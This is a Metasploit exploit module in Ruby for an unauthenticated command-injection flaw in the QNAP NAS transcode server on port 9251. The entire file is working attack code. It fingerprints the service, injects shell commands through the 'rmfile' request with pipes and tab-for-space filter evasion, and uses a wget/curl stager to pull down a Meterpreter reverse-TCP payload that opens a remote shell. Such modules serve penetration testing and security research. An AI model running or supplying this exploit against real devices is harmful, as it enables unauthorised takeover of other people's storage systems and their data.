118 lines
3.3 KiB
Ruby
118 lines
3.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'QNAP Transcode Server Command Execution',
|
|
'Description' => %q{
|
|
This module exploits an unauthenticated remote command injection
|
|
vulnerability in QNAP NAS devices. The transcoding server listens
|
|
on port 9251 by default and is vulnerable to command injection
|
|
using the 'rmfile' command.
|
|
|
|
This module was tested successfully on a QNAP TS-431 with
|
|
firmware version 4.3.3.0262 (20170727).
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Zenofex', # Initial vulnerability discovery and PoC
|
|
'0x00string', # Initial vulnerability discovery and PoC
|
|
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],
|
|
[ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]
|
|
],
|
|
'DisclosureDate' => 'Aug 6 2017',
|
|
'Privileged' => true,
|
|
'Arch' => ARCH_ARMLE,
|
|
'DefaultOptions' =>
|
|
{
|
|
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
|
|
},
|
|
'Targets' => [['Automatic', {}]],
|
|
'CmdStagerFlavor' => %w{wget curl},
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(9251),
|
|
OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])
|
|
])
|
|
deregister_options 'cmdstager::decoder'
|
|
end
|
|
|
|
def check
|
|
vprint_status 'Connecting to transcode server...'
|
|
|
|
connect
|
|
sock.put "\x01\x00\x00\x00"
|
|
res = sock.get_once
|
|
|
|
if res.blank?
|
|
vprint_status 'No reply from server'
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
vprint_status "Received response: #{res}"
|
|
|
|
return CheckCode::Detected if res.to_s =~ /client's request is accepted/
|
|
|
|
CheckCode::Safe
|
|
rescue ::Rex::ConnectionError
|
|
vprint_error 'Connection failed'
|
|
return CheckCode::Unknown
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
def execute_command(cmd, opts)
|
|
# Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %
|
|
# Execute each command seperately
|
|
cmd.split(';').each do |c|
|
|
connect
|
|
vprint_status "Executing command: #{c}"
|
|
|
|
# Replace spaces with tabs
|
|
c.tr! ' ', "\t"
|
|
|
|
sock.put "\x01\x00\x00\x00/|#{c}|\x00"
|
|
res = sock.get_once
|
|
|
|
unless res.to_s =~ /client's request is accepted/
|
|
print_status 'Unexpected reply'
|
|
break
|
|
end
|
|
|
|
print_status "Sent command successfully (#{c.length} bytes)"
|
|
|
|
disconnect
|
|
|
|
if c =~ /^(curl|wget)/
|
|
print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."
|
|
Rex.sleep datastore['DELAY']
|
|
end
|
|
end
|
|
rescue ::Rex::ConnectionError
|
|
fail_with Failure::Unreachable, 'Failed to connect to the transcode server'
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
def exploit
|
|
vprint_status 'Connecting to transcode server...'
|
|
execute_cmdstager linemax: 400
|
|
end
|
|
end
|